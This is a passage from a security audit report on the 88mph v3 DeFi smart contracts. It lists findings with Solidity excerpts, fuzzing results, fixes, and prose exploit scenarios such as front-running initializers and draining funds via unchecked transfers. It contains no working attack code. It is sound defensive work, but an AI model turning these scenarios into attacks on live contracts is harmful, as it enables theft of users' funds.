person-weeks   Total High-Severity Issues   3  ◼◼◼   Total Medium-Severity Issues   3  ◼◼◼   Total Low-Severity Issues   2  ◼◼   Total Informational-Severity Issues   8  ◼◼◼◼◼◼◼◼   Total Undetermined-Severity Issues   1  ◼   Total  17      Access Controls   1  ◼   Configuration   1  ◼   Data Validation   7  ◼◼◼◼◼◼◼   Optimization   3  ◼◼◼   Timing   1  ◼   Undefined Behavior   4  ◼◼◼◼   Total  17     © 2021 Trail of Bits   88mph v3 Assessment | 4     C o d e M a t u r i t y E v a l u a t i o n      Category Name   Description   Access Controls   Satisfactory. In general, the functions have appropriate access   controls.   Arithmetic   Moderate. The project uses Solidity 0.8’s built-in safe math   operations. Because the calculations at the core of the protocol are   complex, their documentation and testing should be more   thorough. We also found an issue related to the estimation of the   money market interest rate ( TOB-88MPH-006 ).   Assembly   Use/Low-Level   Calls  Moderate . The use of assembly is limited to the common purpose   of executing chainid . However, because of the lack of a contract   existence check on delegatecall in a dependency, a call to the logic   contract could fail silently ( TOB-88MPH-008 ). The codebase also   lacks return value checks on several calls to the transfer and   transferFrom functions ( TOB-88MPH-002 ).    Centralization   Weak. Privileged users are able to update the majority of the   contracts without limits and may be able to leverage the protocol's   upgradeability to engage in malicious behavior.   Code Stability   Satisfactory. The code was stable during the audit.   Upgradeability   Moderate. The project uses OpenZeppelin’s   TransparentUpgradeableProxy to facilitate upgrades for many   contracts. We found two issues related to upgradeability   ( TOB-88MPH-007 , TOB-88MPH-008 ).   Function   Composition  Satisfactory. The code is reasonably well structured. The functions   have clear purposes, and critical functions can be easily extracted   for testing.   Front-Running   Moderate. We found two issues related to front-running   ( TOB-88MPH-004 , TOB-88MPH-007 ).   Monitoring   Satisfactory. All of the functions emit events where appropriate.   The events emitted by the code are capable of effectively   monitoring on-chain activity.   Specification   Moderate. The 88mph team provided comprehensive   documentation. However, many functions are missing code   © 2021 Trail of Bits   88mph v3 Assessment | 5              comments. We found several pieces of security-critical code that   have no comments providing guidance to auditors and developers   ( TOB-88MPH-012 , TOB-88MPH-013 , TOB-88MPH-014 ).    Testing and   Verification  Moderate. The system utilizes unit and integration tests. However,   there are many hard-coded constants; testing more variations of   system parameters would be beneficial.   © 2021 Trail of Bits   88mph v3 Assessment | 6     E n g a g e m e n t G o a l s   The engagement was scoped to provide a security assessment of the full 88mph-contracts   repository at commit hash 76cd9d1f .     Specifically, we sought to answer the following questions:     ●Does the arithmetic produce correct results when given the values that can occur in   the protocol?   ●Does the system correctly use the APIs of external money markets?   ●Are the system’s assumptions about external contracts, namely money markets,   correct?   ●Do the five most important actions exposed by DInterest —depositing, topping up,   rolling over, funding, and withdrawing—lead to expected outcomes, even when the   money markets’ interest rates change?   ●Are the access controls of each contract sufficient to ensure it behaves as intended   in a hostile environment?   ●Does the codebase conform to industry best practices?   C o v e r a g e   Custom and imported libraries. The project uses OpenZeppelin contracts, custom   libraries, and contracts built by the 88mph team. The two libraries— DecMath and   SafeERC20 —handle arithmetic and token interactions, respectively. We assessed the   arithmetic functions and the safety of the token interactions, given the varying   implementations of ERC20 tokens. The libs directory also contains token contracts built   on top of OpenZeppelin contracts. We checked whether proper access controls are in   place, the batch and multi functions are correctly implemented, and the functions are   safely overridden.     Models. We assessed the core arithmetic of the protocol. There are three types of models:   two for calculating interest and fees and one for computing the EMA based on the current   income index and the previous EMA. We focused on the EMA oracle and interest model, in   particular LinearDecayInterestModel . We checked whether the EMA is computed   correctly from the money market income index and whether the interest model sets an   appropriate interest rate based on the EMA input.     Money markets. This set of contracts constitutes a functional interface for   interest-generating lending and yield-farming protocols for use by DInterest . We closely   examined the money markets’ APIs to ensure that they are used correctly and consistently.        © 2021 Trail of Bits   88mph v3 Assessment | 7     Tokens. This directory contains the deployable implementations of the template contracts   in libs . We reviewed the contracts to ensure that the newly defined methods have   appropriate access controls, that the upgradeability mechanism is correct, and that all   other contracts in the system correctly use the API exposed by the token contracts.     Rewards. This directory contains the mph reward token and its minter, the vesting contract,   and the xMPH contract. We reviewed the codebase to ensure that token minting and vesting   can occur only when expected. We also checked the access controls and upgradeability   mechanism in these modules.     ZeroCouponBond . This high-level contract enables the fungibility of deposits into the   system. We checked whether the contract behaves as intended and whether the access   controls and the upgradeability mechanism are correct.     DInterest . We checked the access controls on the functions that modify the protocol   parameters and the access controls on the actions that can be taken after a deposit, such   as topping up, rolling over, and withdrawing. We manually reviewed the arithmetic,   focusing on how the arithmetic behaves when composing various actions. We assessed   whether the upgradeability mechanism is vulnerable to common issues. Finally, we fuzzed   the contract extensively to verify that the calls to deposit and withdraw functions succeed   and fail in accordance with those functions’ preconditions.     Factory . This contract deploys all new contracts in the system. We checked that it correctly   uses OpenZeppelin’s Clones library, that it correctly emits events, and that it returns the   correct values.     We were not able to sufficiently cover the following sections of the codebase with a manual   review:   ●DInterestLens.sol ●xMPH.sol ●/zaps        © 2021 Trail of Bits   88mph v3 Assessment | 8     A u t o m a t e d T e s t i n g a n d V e r i fi c a t i o n   Trail of Bits used automated testing techniques to enhance coverage of certain areas of the   contracts, including the following:     ●Slither , a Solidity static analysis framework   ●Echidna , a smart contract fuzzer that rapidly tests security properties via malicious,   coverage-guided test case generation     Automated testing techniques augment our manual security review but do not replace it.   Each method has limitations: Slither may identify security properties that fail to hold when   Solidity is compiled to EVM bytecode, and Echidna may not randomly generate an edge   case that violates a property.    A u t o m a t e d T e s t i n g w i t h E c h i d n a   While reviewing the codebase, we identified properties and invariants that should hold.   Using Echidna, we implemented the following property-based tests:        ID   Property   Result   1  DInterest.deposit(amount, ...) transfers the correct amount   of assets indicated by the amount argument.  PASSED   2  DInterest.deposit(...) returns a non-zero depositID .   PASSED   3  DInterest.deposit(...) returns non-zero interest.   PASSED   4  DInterest.deposit(amount, ...) reverts if the sender holds   less assets than the amount argument. PASSED   5  DInterest.deposit(amount, ...) reverts if the sender has not   approved the amount .  PASSED   6  DInterest.deposit(amount, ...) reverts if the amount is below   the minimum deposit amount.  PASSED   7  DInterest.deposit(..., maturationTimestamp) reverts if the   time indicated by the maturationTimestamp has already passed.  PASSED   8  DInterest.deposit(...) reverts if the value of the deposit   period is above the value of the maximum deposit period.  PASSED   © 2021 Trail of Bits   88mph v3 Assessment | 9            9  DInterest.deposit(...) reverts if the deposit yields no   interest.  PASSED   10  DInterest.deposit(...) does not revert if all preconditions are   met.  PASSED   11  Dinterest.withdraw(...) returns the amount that it   transferred.  PASSED   12  Dinterest.withdraw(...) does not transfer more than the   deposited amount, plus interest.  PASSED   13  Dinterest.withdraw(depositID, ...) reverts if no deposit   with the depositID exists.  PASSED   14  Dinterest.withdraw(..., amount, ...) reverts if the amount   is zero.  PASSED   15  Dinterest.withdraw(..., early) reverts if the value of early   does not match the deposit state.  PASSED   16  DInterest.withdraw(...) does not revert if all preconditions   are met.  PASSED   © 2021 Trail of Bits   88mph v3 Assessment | 10     R e c o m m e n d a t i o n s S u m m a r y   This section aggregates all the recommendations made during the engagement. Short-term   recommendations address the immediate causes of issues. Long-term recommendations   pertain to the development process and long-term design goals.   S h o r t t e r m   ❑ Add require(interestOracle.moneyMarket() == moneyMarket, "BAD_ORACLE") to   DInterest.__DInterest_init . Alternatively, remove moneyMarket from DInterest so that   the system always fetches moneyMarket from interestOracle.moneyMarket() .   TOB-88MPH-001     ❑ Use safeTransfer and safeTransferFrom in xMPH.sol . TOB-88MPH-002     ❑ Replace transferOwnership with a two-step process, as depicted in figure 3.1.   TOB-88MPH-003     ❑ Add a minInterestAmount parameter to DInterest.deposit and insert a require   statement— require(interestAmount >= minInterestAmount) —to ensure that the   interest amount meets or exceeds the minimum requirement set by the user.   TOB-88MPH-004     ❑ Use a two-parameter version of withdraw . TOB-88MPH-005     ❑ Evaluate the impact of using an arithmetic average rather than a geometric   average for computing the compound rate per second. If the impact is severe, consider   using the geometric average instead. Alternatively, document the possible consequences of   using the arithmetic average, particularly the increased likelihood of a system default.   TOB-88MPH-006     ❑ Only deploy TransparentUpgradeableProxy contracts by passing the calldata of the   call to initialize as the third constructor argument (figure 7.2). That way, initialize   will be called within the same transaction as the proxy contract construction, eliminating   the front-running vulnerability entirely. This is the most robust solution to this issue. The   openzeppelin-hardhat-upgrades plug-in can automatically call initialize within the   same transaction as the proxy contract construction. TOB-88MPH-007     ❑ Document the fact that selfdestruct and delegatecall within logic contracts can   lead to unexpected behavior, and prevent future upgrades from introducing these   functions. TOB-88MPH-008        © 2021 Trail of Bits   88mph v3 Assessment | 11     ❑ Decide whether the _rewards address must be a contract and handle the validation   of that address accordingly. TOB-88MPH-009     ❑ Measure the gas savings from optimizations and carefully weigh them against the   possibility of an optimization-related bug. TOB-88MPH-010     ❑ Remove vault.balanceOf(address(this)) from totalValue() and   totalValue(uint256) . TOB-88MPH-011     ❑ In all money markets, add explicit comments explaining the importance of the call   to super._authorizeRescue and the importance of disallowing the rescue of all   tokens used in normal operations. TOB-88MPH-012     ❑ Remove the modified libs/SafeERC20.sol and import   @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol instead. Replace   safeApprove with a custom function with a descriptive name, like   unsafeApproveSupportingNonStandardTokens , and properly document its security   implications and the reasoning behind its use. TOB-88MPH-013     ❑ Carefully investigate all operations that transfer entire balances to ensure that   any side effects are intended. Document the side effects and explain why they are   intentional. TOB-88MPH-014     ❑ Expand the 88mph user documentation to include guidance on using Yearn vaults   and on the associated risks. Refer to the comments on Yearn’s withdraw and deposit   functions, which contain important guidance on their use. TOB-88MPH-015     ❑ Revise _paySponsor to transfer tokens from the sender to the sponsor in a single   step. TOB-88MPH-016     ❑ Replace msg.sender with sender in the _transfer function. TOB-88MPH-017     L o n g t e r m   ❑ Avoid the use of duplicated states within the protocol, as they can become   inconsistent. TOB-88MPH-001     ❑ Always use safeTransfer and safeTransferFrom rather than transfer and   transferFrom . TOB-88MPH-002     ❑ Use a two-step process for all non-recoverable critical operations to prevent   irrevocable mistakes. TOB-88MPH-003      © 2021 Trail of Bits   88mph v3 Assessment | 12       ❑ For cases in which a transaction gives a sender an output amount in exchange for   an input amount—during a trade, for example—ensure that the sender has control   over the minimum desired output amount. Otherwise, state changes outside of the   sender’s control, possibly caused by front-running, could result in an unexpectedly low   output amount and a loss of funds for the user. TOB-88MPH-004     ❑ Examine the APIs of the protocols that the 88mph protocol depends on to see   whether simpler and more gas-efficient means of interaction are available.   TOB-88MPH-005     ❑ Document any operations in the code that use a simpler algorithm than the   mathematical model requires. TOB-88MPH-006     ❑ Carefully review the Solidity documentation , especially the “Warnings” section, as   well as the pitfalls of using the delegatecall proxy pattern. TOB-88MPH-007 ,   TOB-88MPH-008     ❑ Ensure that data validation is applied consistently across constructors, initializers,   and setters. TOB-88MPH-009     ❑ Monitor the development and adoption of Solidity compiler optimizations to   assess their maturity. TOB-88MPH-010     ❑ Clearly document which assets are held by each contract. TOB-88MPH-011     ❑ Add documentation and warnings around critical lines of code to prevent   accidental modifications from breaking important security invariants.   TOB-88MPH-012     ❑ Read the references cited in this finding to better understand the approve   front-running attack, and ensure that it is mitigated throughout the codebase.   TOB-88MPH-013     ❑ Whenever possible, ensure that only the specific amount relevant to the context of   the transfer is transferred. For example, when an amount is withdrawn from the Yearn   vault, transfer exactly that amount. Many functions of external protocols provide a return   value indicating the transferred amount. For situations in which this information is not   available, add an operation that measures the balance before and after the call and   transfers the difference. TOB-88MPH-014        © 2021 Trail of Bits   88mph v3 Assessment | 13     ❑ Carefully review the documentation of all protocols that the 88mph protocol   interacts with and surface the risks and warnings of using these protocols to 88mph   users. TOB-88MPH-015     ❑ Investigate all transfers that are done in sequence and whether they can be   combined into a single transfer. TOB-88MPH-016     ❑ Carefully investigate all ERC20 token implementations in the codebase to ensure   that they correctly implement the ERC20 standard. TOB-88MPH-017                        © 2021 Trail of Bits   88mph v3 Assessment | 14     F i n d i n g s S u m m a r y      #  Title   Type   Severity   1  The interest oracle’s money market is not   validated upon DInterest initialization  Data Validation  Medium   2  Lack of return value check on transfer   and transferFrom  Data Validation  Informational   3  Lack of two-step process for contract   ownership transfers  Data Validation  Informational   4  Users cannot specify a minimum desired   interest  Data Validation  Medium   5  Withdrawing from Yearn to DInterest in a   single step can save gas  Optimization   Informational   6  Linearization of exponential   compounding could lead to insolvency  Data Validation  High   7  Initialization functions can be front-run   Configuration  High   8  Lack of contract existence check on   delegatecall Data Validation  Informational   9  Inconsistent validation of money markets’   rewards address  Data Validation  Low   10  Solidity compiler optimizations can be   problematic  Undefined   Behavior  Undetermined   11  Redundant addition of zero value in the   Harvest money market  Optimization   Informational   12  Lack of documentation concerning   Rescuable base contract could result in   exploitable modifications  Access Controls  Informational   13  Modifications make the safeApprove   function unsafe  Timing   Informational   14  Transferring the entire balance of a   contract has unintended consequences  Undefined   Behavior  Low   15  Users are not informed of the pitfalls of   using Yearn vaults  Undefined   Behavior  Medium   © 2021 Trail of Bits   88mph v3 Assessment | 15            16  Sponsor payout uses two transfers when   only one is required  Optimization   Informational   17  ERC20Wrapper’s transferFrom function   ignores the sender argument  Undefined   Behavior  High   © 2021 Trail of Bits   88mph v3 Assessment | 16     1 . T h e i n t e r e s t o r a c l e ’ s m o n e y m a r k e t i s n o t v a l i d a t e d u p o n D I n t e r e s t   i n i t i a l i z a t i o n   Severity: Medium Difficulty: High   Type: Data Validation Finding ID: TOB-88MPH-001   Target: DInterest.sol   Description   A DInterest contract must have the same money market as its interest oracle. The   function that sets the interest oracle checks this invariant (figure 1.1).     Figure 1.1: setInterestOracle in DInterest.sol#L1483-L1488     However, DInterest.__DInterest_init does not check this invariant.      A mistake during initialization could cause a DInterest to have a different money market   than its interest oracle. As a result, the system could provide incorrect interest rates, and   either the users or the protocol could lose funds.     Exploit Scenario   Alice, a developer, deploys a new DInterest for DAI and AAVE and calls   DInterest.initialize . She passes in the Aave money market address as one parameter   and accidentally passes in the Yearn interest oracle address as the other. For some time,   Yearn yields significantly lower interest than Aave. As a result, users receive significantly   less interest than they would by using Aave directly.     Recommendations   Short term, add require(interestOracle.moneyMarket() == moneyMarket, "BAD_ORACLE") to DInterest.__DInterest_init . Alternatively, remove moneyMarket from   DInterest so that the system always fetches moneyMarket from   interestOracle.moneyMarket() .     Long term, avoid the use of duplicated states within the protocol, as they can become   inconsistent.          function setInterestOracle(address newValue) external onlyOwner { require(newValue.isContract(), "NOT_CONTRACT"); interestOracle = IInterestOracle(newValue); require(interestOracle.moneyMarket() == moneyMarket, "BAD_ORACLE"); emit ESetParamAddress(msg.sender, "interestOracle", newValue); } © 2021 Trail of Bits   88mph v3 Assessment | 17     2 . L a c k o f r e t u r n v a l u e c h e c k o n t r a n s f e r a n d t r a n s f e r F r o m   Severity: Informational Difficulty: High   Type: Data Validation Finding ID: TOB-88MPH-002   Target: xMPH.sol   Description   The functions _deposit , _withdraw , and _distributeReward in the xMPH contract use the   ERC20 transfer and transferFrom functions without checking that they return true .     Some tokens, like BAT , HT (Huobi), and cUSDC , do not revert when transfers fail. Instead,   they return false . The lack of a return value check on such tokens could enable users to   steal funds.     The severity of this issue is informational, as the mph token used in xMPH is likely an instance   of MPHToken.sol , which reverts when transfers fail.     Exploit Scenario   A new mph token used in a new deployment of the 88mph protocol does not revert when   transfers fail. As a result, users can deposit funds they do not have and then withdraw   them, draining funds from the protocol.     Recommendations   Short term, use safeTransfer and safeTransferFrom in xMPH.sol .     Long term, always use safeTransfer and safeTransferFrom rather than transfer and   transferFrom .        © 2021 Trail of Bits   88mph v3 Assessment | 18     3 . L a c k o f t w o - s t e p p r o c e s s f o r c o n t r a c t o w n e r s h i p t r a n s f e r s   Severity: Informational Difficulty: High   Type: Data Validation Finding ID: TOB-88MPH-003   Target: OwnableUpgradeable   Description   Many contracts use OpenZeppelin’s OwnableUpgradeable contract, whose   transferOwnership function transfers contract ownership in a single step. If the owner of a   contract were set to an address not controlled by the 88mph team, the contract would be   impossible to recover.     This issue could be prevented by implementing a two-step process in which an owner   proposes an ownership transfer and the proposed new owner accepts it.     Figure 3.1: Proposed code for a two-step ownership transfer     Exploit Scenario   Bob, a developer, changes the owner of a contract that inherits from OwnableUpgradeable .   By mistake, he passes in the wrong address as the new owner. The development team   cannot recover the contract and will have to implement a costly upgrade or redeployment   to address the issue.     Recommendations   Short term, replace transferOwnership with a two-step process, as depicted in figure 3.1.     Long term, use a two-step process for all non-recoverable critical operations to prevent   irrevocable mistakes.        address private _proposedOwner; function proposeOwnership(address proposedOwner) external onlyOwner { require(proposedOwner != address(0)); _proposedOwner = proposedOwner; } function acceptOwnership() external { require(msg.sender == _proposedOwner); address oldOwner = _owner; _owner = _proposedOwner; _proposedOwner = address(0); emit OwnershipTransferred(oldOwner, _owner); } © 2021 Trail of Bits   88mph v3 Assessment | 19     4 . U s e r s c a n n o t s p e c i f y a m i n i m u m d e s i r e d i n t e r e s t   Severity: Medium Difficulty: Low   Type: Data Validation Finding ID: TOB-88MPH-004   Target: DInterest.sol   Description   DInterest.deposit(amount, maturationTimestamp) computes and returns the amount of   interest users will receive at maturationTimestamp . However, users calling this function   cannot specify a minimum desired interest to guarantee that the amount of interest will be   profitable.     Exploit Scenario   Charlie, a user of the 88mph protocol, calls DInterest.deposit . The amount of interest   that is computed and returned is unacceptably low for Charlie. However, he has already   deposited his funds into 88mph. To withdraw his funds for use in a more profitable market,   Charlie has to pay the early withdrawal fee and the gas costs for another transaction.     Recommendations   Short term, add a minInterestAmount parameter to DInterest.deposit and insert a   require statement— require(interestAmount >= minInterestAmount) —to ensure that   the interest amount meets or exceeds the minimum requirement set by the user.     Long term, for cases in which a transaction gives a sender an output amount in exchange   for an input amount—during a trade, for example—ensure that the sender has control   over the minimum desired output amount. Otherwise, state changes outside of the   sender’s control, possibly caused by front-running, could result in an unexpectedly low   output amount and a loss of funds for the user.            © 2021 Trail of Bits   88mph v3 Assessment | 20     5 . W i t h d r a w i n g f r o m Y e a r n t o D I n t e r e s t i n a s i n g l e s t e p c a n s a v e g a s   Severity: Informational Difficulty: Not Applicable   Type: Optimization Finding ID: TOB-88MPH-005   Target: YVaultMarket.sol   Description   YVaultMarket.withdraw withdraws funds from the YVaultMarket itself, measures the   YVaultMarket ’s new balance, and transfers the balance to msg.sender (figure 5.1).     Figure 5.1: withdraw in YVaultMarket.sol#L65-73     Yearn v2’s vault.withdraw takes a second optional parameter, receiver , which defaults to   msg.sender (figure 5.2). This version can also be seen in function #28 of the WBTC yVault   on Etherscan .     Figure 5.2: withdraw in Vault.vy#L1004-1008     Using this two-parameter version of withdraw would be simpler and require less gas (figure   5.3).     Figure 5.3: Recommended replacement for the code in figure 5.1      Recommendations   Short term, replace the code in figure 5.1 with the code in figure 5.3.     Long term, examine the APIs of the protocols that the 88mph protocol depends on to see   whether simpler and more gas-efficient means of interaction are available.        if (amountInShares > 0) { vault.withdraw(amountInShares); } // Transfer stablecoin to `msg.sender` actualAmountWithdrawn = stablecoin.balanceOf(address(this)); if (actualAmountWithdrawn > 0) { stablecoin.safeTransfer(msg.sender, actualAmountWithdrawn); } def withdraw( maxShares: uint256 = MAX_UINT256, recipient: address = msg.sender, maxLoss: uint256 = 1, # 0.01% [BPS] ) -> uint256: if (amountInShares > 0) { vault.withdraw(amountInShares, msg.sender); } © 2021 Trail of Bits   88mph v3 Assessment | 21     6 . L i n e a r i z a t i o n o f e x p o n e n t i a l c o m p o u n d i n g c o u l d l e a d t o i n s o l v e n c y   Severity: High Difficulty: Medium   Type: Data Validation Finding ID: TOB-88MPH-006   Target: EMAOracle.sol   Description   In money markets such as Aave and Compound, liquidity is expected to compound   exponentially. However, when computing the money market rate per second, the 88mph   protocol assumes that the rate will compound linearly:     Figure 6.1: EMAOracle.sol#L82-L84   To compute the true expansion rate per second, the algorithm should take the n th root of   the difference of the new income index and the last income index, where n is the number   of elapsed seconds. Instead, the algorithm divides the difference by n . We modeled the   difference between these two options and found cases in which the current   implementation overestimates the ROI.     Consider a lending pool that starts with 100 capital units and doubles its capital holdings   every two seconds. After four seconds, it will own 400 capital units. The correct prediction   would be that the money market will own 800 capital units after two more seconds elapse.   However, the current implementation of the algorithm will predict instead that the money   market will own 1,000.     The consequence of this implementation is that the system could give unreasonably high   ROIs to users of fixed-interest yields, potentially increasing the likelihood of system   insolvency.     The system also linearizes the interest rate calculation (figure 6.2).         uint256 incomingValue = (newIncomeIndex - _lastIncomeIndex).decdiv(_lastIncomeIndex) / timeElapsed; function calculateInterestAmount( uint256 depositAmount, uint256 depositPeriodInSeconds, uint256 moneyMarketInterestRatePerSecond, bool, /*surplusIsNegative*/ uint256 /*surplusAmount*/ ) external view override returns (uint256 interestAmount) { // interestAmount = depositAmount * moneyMarketInterestRatePerSecond * IRMultiplier * depositPeriodInSeconds interestAmount = ((depositAmount * PRECISION) .decmul(moneyMarketInterestRatePerSecond) .decmul(getIRMultiplier(depositPeriodInSeconds)) * depositPeriodInSeconds) / © 2021 Trail of Bits   88mph v3 Assessment | 22     Figure 6.2: LinearDecayInterestModel.sol#L32-L46     The most accurate calculation would involve raising the result of the input calculation to   the power of n , where n is the number of seconds since the deposit. Instead, the algorithm   multiplies the result by n . This implementation might offset the possible overestimation of   the ROI, but further investigation would be required to confirm whether it does.     Exploit Scenario   In the example above, the protocol’s estimated yield to the fixed-interest yield minter is   much higher than the actual yield will be. As a result, yield token holders (funders) receive a   smaller yield than they expected. Furthermore, the protocol incurs a net loss on the   deposit, leading to system insolvency.      Recommendations   Short term, evaluate the impact of using an arithmetic average rather than a geometric   average for computing the compound rate per second. If the impact is severe, consider   using the geometric average instead. Alternatively, document the possible consequences of   using the arithmetic average, particularly the increased likelihood of a system default.     Long term, document any operations in the code that use a simpler algorithm than the   mathematical model requires.         PRECISION; } © 2021 Trail of Bits   88mph v3 Assessment | 23     7 . I n i t i a l i z a t i o n f u n c t i o n s c a n b e f r o n t - r u n   Severity: High Difficulty: High   Type: Configuration Finding ID: TOB-88MPH-007   Target: deploy/*   Description   Several implementation contracts have initialize functions that can be front-run,   allowing an attacker to incorrectly initialize the contracts. If the front-running of one of   these functions is not detected immediately, an attacker may be able to steal funds at a   later time.     The deployment scripts use two separate transactions for the deployment of the proxy   contract and the call to initialize (figure 7.1).     Figure 7.1: deploy/DInterest.js#L29-L41     This makes the initialize functions vulnerable to front-running by an attacker, who could   then initialize the contracts with malicious values. For example, an attacker could set an   address that she owns as the _rewards parameter of AaveMarket ’s initialize function,   which would allow her to earn all rewards that accrue on the Aave money market.     Exploit Scenario   Attacker Eve has studied the next version of the 88mph protocol and identified several   parameters of initialization functions that, if set to certain values, will allow her to steal   funds from the protocol. She sets up a script to automatically watch the mempool and   front-run the initialize functions of the next 88mph protocol deployment. Bob, a   developer, deploys the next version of the 88mph protocol. Eve’s script front-runs the calls   to initialize . Bob does not notice the front-running attack. Eve can then steal funds   deposited into the protocol.       const deployResult = await deploy(poolConfig.name, { from: deployer, contract: "DInterest", proxy: { owner: config.govTimelock, proxyContract: "OptimizedTransparentProxy" } }); if (deployResult.newlyDeployed) { const DInterest = artifacts.require("DInterest"); const contract = await DInterest.at(deployResult.address); await contract.initialize( BigNumber(poolConfig.MaxDepositPeriod).toFixed(), © 2021 Trail of Bits   88mph v3 Assessment | 24       Recommendations   Short term, only deploy TransparentUpgradeableProxy contracts by passing the calldata   of the call to initialize as the third constructor argument (figure 7.2). That way,   initialize will be called within the same transaction as the proxy contract construction,   eliminating the front-running vulnerability entirely. This is the most robust solution to this   issue. The openzeppelin-hardhat-upgrades plug-in can automatically call initialize   within the same transaction as the proxy contract construction.     Figure 7.2: openzeppelin-contracts/*/TransparentUpgradeableProxy.sol#L33-L37     Long term, carefully review the Solidity documentation , especially the “Warnings” section,   as well as the pitfalls of using the delegatecall proxy pattern.         constructor( address _logic, address admin_, bytes memory _data ) payable ERC1967Proxy(_logic, _data) { © 2021 Trail of Bits   88mph v3 Assessment | 25     8 . L a c k o f c o n t r a c t e x i s t e n c e c h e c k o n d e l e g a t e c a l l   Severity: Informational Difficulty: Medium   Type: Data Validation Finding ID: TOB-88MPH-008   Target: openzeppelin-contracts/*/Proxy.sol   Description   The project uses OpenZeppelin’s TransparentUpgradeableProxy contract, which executes   a delegatecall to the logic contract without first performing a contract existence check.   This existence check is omitted to save gas. On the other hand, upgradeTo(newLogic) ,   which updates the logic contract, checks that newLogic is a contract.     A call or delegatecall to a non-contract address always succeeds. If selfdestruct were   executed within the logic contract, future calls to the proxy would always succeed; this   could result in unexpected behavior, leading to possible loss of funds. However, there is no   selfdestruct or delegatecall functionality in any of the logic contracts. For this reason,   the severity of this issue is informational.      Exploit Scenario   Alice, a developer, introduces a bug through which the logic contract of upgradeable   contract A can be destroyed. All calls to the corresponding proxy contract of contract A now   succeed instead of reverting. Contract B, which delegates data validation to contract A, calls   contract A before releasing funds. Attacker Bob can now drain funds from contract B   because contract B’s calls to contract A always succeed.     Recommendations   Short term, document the fact that selfdestruct and delegatecall within logic contracts   can lead to unexpected behavior, and prevent future upgrades from introducing these   functions.     Long term, carefully review the Solidity documentation , especially the “Warnings” section,   as well as the pitfalls of using the delegatecall proxy pattern.        © 2021 Trail of Bits   88mph v3 Assessment | 26     9 . I n c o n s i s t e n t v a l i d a t i o n o f m o n e y m a r k e t s ’ r e w a r d s a d d r e s s   Severity: Low Difficulty: Medium   Type: Data Validation Finding ID: TOB-88MPH-009   Target: HarvestMarket.sol , AaveMarket.sol , BProtocolMarket.sol ,   CompoundERC20Market.sol   Description   The validation of the _rewards address in the HarvestMarket , AaveMarket ,   BProtocolMarket , and CompoundERC20Market contracts is inconsistent. For example, in   HarvestMarket , the initialization function checks whether the _ rewards address is non-zero   (figure 9.1), and the setRewards function checks whether it is a contract (figure 9.2). In   AaveMarket , the _rewards address is not validated at all.     Figure 9.1: HarvestMarket.sol#L34-L38   Figure 9.2: HarvestMarket.sol#L126-L130     Recommendations   Short term, decide whether the _rewards address must be a contract and handle the   validation of that address accordingly.     Long term, ensure that data validation is applied consistently across constructors,   initializers, and setters.         require( _vault.isContract() && _rewards != address(0) && _stakingPool.isContract() && _stablecoin.isContract(), function setRewards(address newValue) external override onlyOwner { require(newValue.isContract(), "HarvestMarket: not contract"); rewards = newValue; emit ESetParamAddress(msg.sender, "rewards", newValue); } © 2021 Trail of Bits   88mph v3 Assessment | 27     1 0 . S o l i d i t y c o m p i l e r o p t i m i z a t i o n s c a n b e p r o b l e m a t i c   Severity: Undetermined Difficulty: Low   Type: Undefined Behavior Finding ID: TOB-88MPH-010   Target: hardhat.config.js Description   88mph has enabled optional compiler optimizations in Solidity.     There have been several optimization bugs with security implications. Moreover,   optimizations are actively being developed . Solidity compiler optimizations are disabled by   default, and it is unclear how many contracts in the wild actually use them. Therefore, it is   unclear how well they are being tested and exercised.     High-severity security issues due to optimization bugs have occurred in the past . A   high-severity bug in the emscripten -generated solc-js compiler used by Truffle and   Remix persisted until late 2018. The fix for this bug was not reported in the Solidity   CHANGELOG. Another high-severity optimization bug resulting in incorrect bit shift results   was patched in Solidity 0.5.6 . More recently, another bug due to the incorrect caching of   keccak256 was reported.     A compiler audit of Solidity from November 2018 concluded that the optional optimizations   may not be safe .      It is likely that there are latent bugs related to optimization and that new bugs will be   introduced due to future optimizations.     Exploit Scenario   A latent or future bug in Solidity compiler optimizations—or in the Emscripten transpilation   to solc-js —causes a security vulnerability in the 88mph contracts.     Recommendations   Short term, measure the gas savings from optimizations and carefully weigh them against   the possibility of an optimization-related bug.     Long term, monitor the development and adoption of Solidity compiler optimizations to   assess their maturity.        © 2021 Trail of Bits   88mph v3 Assessment | 28     1 1 . R e d u n d a n t a d d i t i o n o f z e r o v a l u e i n t h e H a r v e s t m o n e y m a r k e t   Severity: Informational Difficulty: Medium   Type: Optimization Finding ID: TOB-88MPH-011   Target: HarvestMarket.sol   Description   When HarvestMarket.deposit is called, funds are deposited into the Harvest vault, a   proportional number of liquidity tokens is minted to HarvestMarket , and these liquidity   tokens are immediately staked (transferred) into the Harvest rewards contract (figure 11.1).   HarvestMarket.withdraw does the reverse by withdrawing liquidity tokens from the   rewards contract and then using these tokens to withdraw assets from the vault. As a   result, HarvestMarket does not hold any liquidity tokens after a deposit or withdraw call,   except if liquidity tokens were sent to the contract by mistake, in which case they can be   rescued.   Figure 11.1: Part of the deposit function in HarvestMarket.sol#L58-63   Therefore, the return value of vault.balanceOf(address(this)) in HarvestMarket is   always zero and can be omitted from totalValue() (figure 11.2) and   totalValue(uint256) .     Figure 11.2: HarvestMarket.sol#L98-104     Recommendations   Short term, remove vault.balanceOf(address(this)) from totalValue() and   totalValue(uint256) .     Long term, clearly document which assets are held by each contract.       vault.deposit(amount); // Stake vault token balance into staking pool uint256 vaultShareBalance = vault.balanceOf(address(this)); vault.approve(address(stakingPool), vaultShareBalance); stakingPool.stake(vaultShareBalance); function totalValue() external view override returns (uint256) { uint256 sharePrice = vault.getPricePerFullShare(); uint256 shareBalance = vault.balanceOf(address(this)) + stakingPool.balanceOf(address(this)); return shareBalance.decmul(sharePrice); } © 2021 Trail of Bits   88mph v3 Assessment | 29     1 2 . L a c k o f d o c u m e n t a t i o n c o n c e r n i n g R e s c u a b l e b a s e c o n t r a c t c o u l d r e s u l t   i n e x p l o i t a b l e m o d i fi c a t i o n s   Severity: Informational Difficulty: High   Type: Access Controls Finding ID: TOB-88MPH-012   Target: MoneyMarket.sol , YVaultMarket.sol , HarvestMarket.sol , AaveMarket.sol ,   CompoundERC20Market.sol , BProtocolMarket.sol , CreamERC20Market.sol   Description   The protocol uses a Rescuable base contract that allows privileged rescuer addresses to   recover funds that were accidentally sent to the contracts.     This rescue functionality is a controlled backdoor into the system. It should not allow the   transfer of tokens used during the normal operations of the money markets. This fact is   not documented properly.     The callback _authorizeRescue handles access controls in Rescuable . All money markets   call super._authorizeRescue (figure 12.1), which allows only one specific address to   rescue 